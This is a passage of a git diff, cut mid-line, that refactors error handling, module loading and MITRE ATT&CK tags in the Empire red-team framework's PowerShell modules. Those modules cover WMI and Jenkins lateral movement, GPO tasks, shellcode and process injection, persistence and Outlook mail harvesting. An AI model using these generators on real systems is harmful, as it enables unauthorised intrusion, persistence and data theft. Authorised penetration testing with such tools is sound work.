-39,7 +39,7 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.domain != "": params["UserName"] = str(cred.domain) + "\\" + str(cred.username) @@ -53,7 +53,7 @@ def generate( and not command ): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) if listener_name: # generate the PowerShell one-liner with all of the proper options set @@ -70,7 +70,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error generating launcher") + raise ModuleValidationException("Error generating launcher") stagerCode = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml b/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml index 37f112e3f..9e879eb42 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml @@ -23,7 +23,11 @@ description: | attack vector. software: '' tactics: [TA0002, TA0008] -techniques: [T1047, T1021.006] +techniques: + - T1021.006 + - T1047 + - T1105 + - T1550.002 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py index cc4c6c048..c25c1edaf 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -1,8 +1,8 @@ from empire.server.common import helpers from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -37,7 +37,7 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.domain != "": params["UserName"] = str(cred.domain) + "\\" + str(cred.username) @@ -59,7 +59,9 @@ def generate( # if there's a listener specified, generate a stager and store it if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException( + "[!] Invalid listener: " + listener_name + ) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml index 10a7567f9..ff68e5b28 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml @@ -25,7 +25,10 @@ description: | when the targeted application is launched. software: '' tactics: [TA0002, TA0008, TA0005] -techniques: [T1047, T1021.006] +techniques: + - T1021.006 + - T1047 + - T1105 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py index 3377614a9..897a39410 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py @@ -1,17 +1,21 @@ from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -35,29 +39,14 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") # Cmd = launcher print(helpers.color("Agent Launcher code: " + launcher)) - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "\nExploit-Jenkins" script_end += " -Rhost " + str(params["Rhost"]) script_end += " -Port " + str(params["Port"]) script_end += ' -Cmd "' + launcher + '"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml index bfb7e9cd7..7494d314b 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml @@ -26,7 +26,10 @@ description: | compared to endpoint-based execution methods. software: '' tactics: [TA0002, TA0008] -techniques: [T1210, T1059.006] +techniques: + - T1059.006 + - T1105 + - T1210 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py index a324fc038..026ae1477 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -1,17 +1,21 @@ from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options module_name = "New-GPOImmediateTask" @@ -24,7 +28,7 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -42,17 +46,7 @@ def generate( command = '/c "' + launcher + '"' if command == "": - return handle_error_message("[!] Error processing command") - - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) + raise ModuleValidationException("Error processing command") # get just the code needed for the specified function script = helpers.generate_dynamic_powershell_script(script, module_name) @@ -90,9 +84,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end="", - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, "" diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml index e5dd686f7..8655e5221 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml @@ -25,8 +25,12 @@ description: | for suspicious scheduled tasks, or endpoint monitoring for unexpected scheduled task creation via Group Policy processing. software: S0111 -tactics: [TA0008] -techniques: [T1053.003, T1021.002] +tactics: [TA0008, TA0002, TA0003, TA0004] +techniques: + - T1021.002 + - T1053.003 + - T1053.005 + - T1105 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/management/disable_rdp.yaml b/empire/server/modules/powershell/management/disable_rdp.yaml index 88799b51b..c9f76bb41 100644 --- a/empire/server/modules/powershell/management/disable_rdp.yaml +++ b/empire/server/modules/powershell/management/disable_rdp.yaml @@ -19,7 +19,7 @@ description: | registry and service control logs. Changes can be reversed by re-enabling RDP through another management module. software: '' -tactics: [TA0005, TA0040] +tactics: [TA0005, TA0040, TA0008] techniques: [T1021.001, T1490] background: false output_extension: diff --git a/empire/server/modules/powershell/management/enable_multi_rdp.yaml b/empire/server/modules/powershell/management/enable_multi_rdp.yaml index 41c53821e..e33d96553 100644 --- a/empire/server/modules/powershell/management/enable_multi_rdp.yaml +++ b/empire/server/modules/powershell/management/enable_multi_rdp.yaml @@ -22,7 +22,7 @@ description: | privileges and involves modifying system files and registry values. These changes may be detected by file integrity monitoring or advanced EDR solutions. System updates or patches may revert these modifications, requiring reapplication. -software: '' +software: 'S0002' tactics: [TA0005, TA0008] techniques: [T1021.001, T1562] background: true diff --git a/empire/server/modules/powershell/management/honeyhash.yaml b/empire/server/modules/powershell/management/honeyhash.yaml index 437d54f9a..3b767608f 100644 --- a/empire/server/modules/powershell/management/honeyhash.yaml +++ b/empire/server/modules/powershell/management/honeyhash.yaml @@ -15,8 +15,8 @@ description: | alongside legitimate ones, providing an early warning system for credential harvesting activities. software: '' -tactics: [TA0003] -techniques: [T1156.001] +tactics: [TA0006] +techniques: [T1003] background: false output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/management/invoke-downloadfile.yaml b/empire/server/modules/powershell/management/invoke-downloadfile.yaml index b73c1613b..2d028b3b8 100644 --- a/empire/server/modules/powershell/management/invoke-downloadfile.yaml +++ b/empire/server/modules/powershell/management/invoke-downloadfile.yaml @@ -22,7 +22,8 @@ description: | during security assessments and penetration testing operations. software: '' tactics: [TA0010] -techniques: [T1041] +techniques: + - T1105 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/management/invoke_bypass.yaml b/empire/server/modules/powershell/management/invoke_bypass.yaml index d16c10e5a..665100784 100644 --- a/empire/server/modules/powershell/management/invoke_bypass.yaml +++ b/empire/server/modules/powershell/management/invoke_bypass.yaml @@ -23,7 +23,9 @@ description: | detection by advanced security solutions. software: '' tactics: [TA0005] -techniques: [T1562.006] +techniques: + - T1027.010 + - T1562.006 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/management/logoff.yaml b/empire/server/modules/powershell/management/logoff.yaml index 4629cb87e..13ce8d503 100644 --- a/empire/server/modules/powershell/management/logoff.yaml +++ b/empire/server/modules/powershell/management/logoff.yaml @@ -17,7 +17,7 @@ description: | is often used to disrupt user activity, clear evidence, or ensure that only authorized sessions remain active during post-exploitation operations. software: '' -tactics: [TA0040] +tactics: [TA0040, TA0003, TA0004] techniques: [T1098, T1529] background: false output_extension: diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py index 96678950a..b456e6fe7 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.py +++ b/empire/server/modules/powershell/management/mailraider/disable_security.py @@ -1,29 +1,22 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): reset = params["Reset"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script = script + "\n" script_end = "" if reset.lower() == "true": @@ -56,9 +49,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.yaml b/empire/server/modules/powershell/management/mailraider/disable_security.yaml index 410712214..e4b9b6d72 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.yaml +++ b/empire/server/modules/powershell/management/mailraider/disable_security.yaml @@ -10,8 +10,12 @@ description: | Typical use cases include enabling automated email operations, bypassing security prompts for malicious macros, or preparing a target environment for further email-based attacks. software: '' -tactics: [TA0005] -techniques: [T1047, T1112, T1562.001] +tactics: [TA0005, TA0002] +techniques: + - T1012 + - T1047 + - T1112 + - T1562.001 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py index 6c66577d1..61af4a7d7 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py @@ -1,30 +1,23 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): folder_name = params["FolderName"] max_emails = params["MaxEmails"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script = script + "\n" script_end = f"Get-OutlookFolder -Name '{folder_name}' | Get-EmailItems -MaxEmails {max_emails}" @@ -36,9 +29,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml b/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml index bc8d8deef..86d456ba3 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml @@ -11,7 +11,9 @@ description: | Typical use cases include bulk email collection, mailbox reconnaissance, and preparation for targeted phishing or social engineering campaigns. software: '' tactics: [TA0009] -techniques: [T1114] +techniques: + - T1114 + - T1114.001 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/management/mailraider/mail_search.yaml b/empire/server/modules/powershell/management/mailraider/mail_search.yaml index b498d2f64..2d1837df4 100644 --- a/empire/server/modules/powershell/management/mailraider/mail_search.yaml +++ b/empire/server/modules/powershell/management/mailraider/mail_search.yaml @@ -11,7 +11,9 @@ description: | Typical use cases include searching for passwords, financial data, project information, or other targeted content in user mailboxes. software: '' tactics: [TA0007, TA0009] -techniques: [T1114] +techniques: + - T1114 + - T1114.001 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/management/mailraider/search_gal.yaml b/empire/server/modules/powershell/management/mailraider/search_gal.yaml index 3d8a1ca7a..13686e3bc 100644 --- a/empire/server/modules/powershell/management/mailraider/search_gal.yaml +++ b/empire/server/modules/powershell/management/mailraider/search_gal.yaml @@ -10,7 +10,7 @@ description: | Typical use cases include mapping the organization, identifying high-value targets, and preparing for targeted email attacks or internal spear-phishing campaigns. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0009] techniques: [T1114, T1087.003] background: true output_extension: diff --git a/empire/server/modules/powershell/management/mailraider/send_mail.yaml b/empire/server/modules/powershell/management/mailraider/send_mail.yaml index af17d8a9a..be1e4da4d 100644 --- a/empire/server/modules/powershell/management/mailraider/send_mail.yaml +++ b/empire/server/modules/powershell/management/mailraider/send_mail.yaml @@ -10,7 +10,7 @@ description: | Typical use cases include spear-phishing, internal phishing campaigns, data exfiltration via email, and establishing covert communication channels. software: '' -tactics: [TA0042] +tactics: [TA0042, TA0001] techniques: [T1586.002, T1566] background: true output_extension: diff --git a/empire/server/modules/powershell/management/mailraider/view_email.yaml b/empire/server/modules/powershell/management/mailraider/view_email.yaml index 7c12d5850..9d6671eaa 100644 --- a/empire/server/modules/powershell/management/mailraider/view_email.yaml +++ b/empire/server/modules/powershell/management/mailraider/view_email.yaml @@ -11,7 +11,9 @@ description: | Typical use cases include targeted email review, validation of mailbox content, and manual analysis of user communications. software: '' tactics: [TA0009] -techniques: [T1114] +techniques: + - T1114 + - T1114.001 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/management/phant0m.yaml b/empire/server/modules/powershell/management/phant0m.yaml index ad5043194..6cb6e161a 100644 --- a/empire/server/modules/powershell/management/phant0m.yaml +++ b/empire/server/modules/powershell/management/phant0m.yaml @@ -16,7 +16,9 @@ description: | new events from being logged. software: '' tactics: [TA0005] -techniques: [T1562.006] +techniques: + - T1562.002 + - T1562.006 background: false output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index b5a0d9ce2..f06876f48 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -23,24 +27,14 @@ def generate( launcher_obfuscate_command = params["ObfuscateCommand"] if proc_id == "" and proc_name == "": - return handle_error_message( + raise ModuleValidationException( "[!] Either ProcID or ProcName must be specified." ) - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "" if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message(f"[!] Invalid listener: {listener_name}") + raise ModuleValidationException(f"[!] Invalid listener: {listener_name}") # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -56,9 +50,9 @@ def generate( ) MAX_LAUNCHER_LEN = 5952 if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") if len(launcher) > MAX_LAUNCHER_LEN: - return handle_error_message("[!] Launcher string is too long!") + raise ModuleValidationException("Launcher string is too long!") launcher_code = launcher.split(" ")[-1] @@ -69,9 +63,4 @@ def generate( f"Invoke-PSInject -ProcName {proc_name} -PoshCode {launcher_code}" ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/management/psinject.yaml b/empire/server/modules/powershell/management/psinject.yaml index 44a60fb90..41ffd3cb2 100644 --- a/empire/server/modules/powershell/management/psinject.yaml +++ b/empire/server/modules/powershell/management/psinject.yaml @@ -20,7 +20,7 @@ description: | commands within that isolated environment. This approach avoids spawning powershell.exe, which is often monitored by security solutions. software: '' -tactics: [TA0002] +tactics: [TA0002, TA0004, TA0005] techniques: [T1055.001] background: true output_extension: diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index 97e3b12fa..f582c8fc6 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -2,18 +2,22 @@ import string from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): def rand_text_alphanumeric( size=15, chars=string.ascii_uppercase + string.digits @@ -35,22 +39,12 @@ def rand_text_alphanumeric( launcher_obfuscate_command = params["ObfuscateCommand"] if proc_name == "": - return handle_error_message("[!] ProcName must be specified.") - - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) + raise ModuleValidationException("ProcName must be specified.") script_end = "" if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message(f"[!] Invalid listener: {listener_name}") + raise ModuleValidationException(f"[!] Invalid listener: {listener_name}") # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -66,7 +60,7 @@ def rand_text_alphanumeric( ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") launcher_code = launcher.split(" ")[-1] @@ -81,9 +75,4 @@ def rand_text_alphanumeric( script_end += "\r\n" script_end += f"Remove-Item -Path {full_upload_path}" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py index a7144abfe..181a89c40 100644 --- a/empire/server/modules/powershell/management/runas.py +++ b/empire/server/modules/powershell/management/runas.py @@ -1,28 +1,22 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "\nInvoke-RunAs " # if a credential ID is specified, try to parse @@ -32,10 +26,10 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.credtype != "plaintext": - return handle_error_message( + raise ModuleValidationException( "[!] A CredID with a plaintext password must be used!" ) @@ -51,7 +45,7 @@ def generate( or params["UserName"] == "" or params["Password"] == "" ): - return handle_error_message( + raise ModuleValidationException( "[!] Domain/UserName/Password or CredID required!" ) @@ -68,9 +62,4 @@ def generate( else: script_end += " -" + str(option) + " '" + str(values) + "'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index 5593535b9..ea1be01b9 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -1,17 +1,21 @@ from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # options listener_name = params["Listener"] @@ -21,19 +25,9 @@ def generate( proxy_creds = params["ProxyCreds"] arch = params["Arch"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message(f"[!] Invalid listener: {listener_name}") + raise ModuleValidationException(f"[!] Invalid listener: {listener_name}") # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -46,23 +40,18 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") launcher_code = launcher.split(" ")[-1] sc, err = main_menu.stagergenv2.generate_powershell_shellcode( launcher_code, arch ) if err: - return handle_error_message(err) + raise ModuleValidationException(err) encoded_sc = helpers.encode_base64(sc) script_end = f'\nInvoke-Shellcode -ProcessID {proc_id} -Shellcode $([Convert]::FromBase64String("{encoded_sc}")) -Force' script_end += f"; shellcode injected into pid {proc_id!s}" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/management/sid_to_user.yaml b/empire/server/modules/powershell/management/sid_to_user.yaml index b572a9863..ae3bce88e 100644 --- a/empire/server/modules/powershell/management/sid_to_user.yaml +++ b/empire/server/modules/powershell/management/sid_to_user.yaml @@ -19,7 +19,7 @@ description: | including security logs, registry entries, file permissions, and Active Directory objects. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0003, TA0004] techniques: [T1098, T1087.002] background: false output_extension: diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index a3d47f636..628b113a3 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -53,7 +53,7 @@ def generate( ) if launcher == "": - raise ModuleValidationException("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") if sys_wow64.lower() == "true": stager_code = ( diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index adf414058..eb37aacd3 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -2,26 +2,21 @@ from empire.server.core.db.base import SessionLocal from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - raise ModuleValidationException(err) - # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": @@ -66,9 +61,4 @@ def generate( script_end += r'-Cmd "$env:public\debug.bat"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py index dc1e0a037..47db173dd 100644 --- a/empire/server/modules/powershell/management/switch_listener.py +++ b/empire/server/modules/powershell/management/switch_listener.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -19,7 +19,7 @@ def generate( listener_name ) if not active_listener: - return handle_error_message( + raise ModuleValidationException( f"[!] Listener '{listener_name}' doesn't exist!" ) diff --git a/empire/server/modules/powershell/management/user_to_sid.yaml b/empire/server/modules/powershell/management/user_to_sid.yaml index 71829867b..0468ebb7a 100644 --- a/empire/server/modules/powershell/management/user_to_sid.yaml +++ b/empire/server/modules/powershell/management/user_to_sid.yaml @@ -18,7 +18,7 @@ description: | the ability to map user identities to their underlying security principals for reconnaissance and privilege escalation activities. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0003, TA0004] techniques: [T1098, T1087.002] background: false output_extension: diff --git a/empire/server/modules/powershell/management/zipfolder.yaml b/empire/server/modules/powershell/management/zipfolder.yaml index 6cec1acc3..fc1798d9d 100644 --- a/empire/server/modules/powershell/management/zipfolder.yaml +++ b/empire/server/modules/powershell/management/zipfolder.yaml @@ -19,7 +19,9 @@ description: | bandwidth requirements. software: '' tactics: [TA0009] -techniques: [T1560.002] +techniques: + - T1560.001 + - T1560.002 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py index 4fdad8fbf..7b3b2e351 100644 --- a/empire/server/modules/powershell/persistence/elevated/registry.py +++ b/empire/server/modules/powershell/persistence/elevated/registry.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -43,7 +43,7 @@ def generate( if ads_path != "": # remove the ADS storage location if ".txt" not in ads_path: - return handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) @@ -77,20 +77,20 @@ def generate( if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript - if os.path.exists(ext_file): - with open(ext_file) as f: - fileData = f.read() + ext_path = Path(ext_file) + if ext_path.exists(): + fileData = ext_path.read_text() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: - return handle_error_message("[!] File does not exist: " + ext_file) + raise ModuleValidationException("File does not exist: " + ext_file) elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set @@ -112,7 +112,7 @@ def generate( # store the script in the specified alternate data stream location if ads_path != "": if ".txt" not in ads_path: - return handle_error_message( + raise ModuleValidationException( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py index 658727048..20e3f97ea 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.py +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py @@ -1,9 +1,9 @@ -import os +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -46,7 +46,7 @@ def generate( if ads_path != "": # remove the ADS storage location if ".txt" not in ads_path: - return 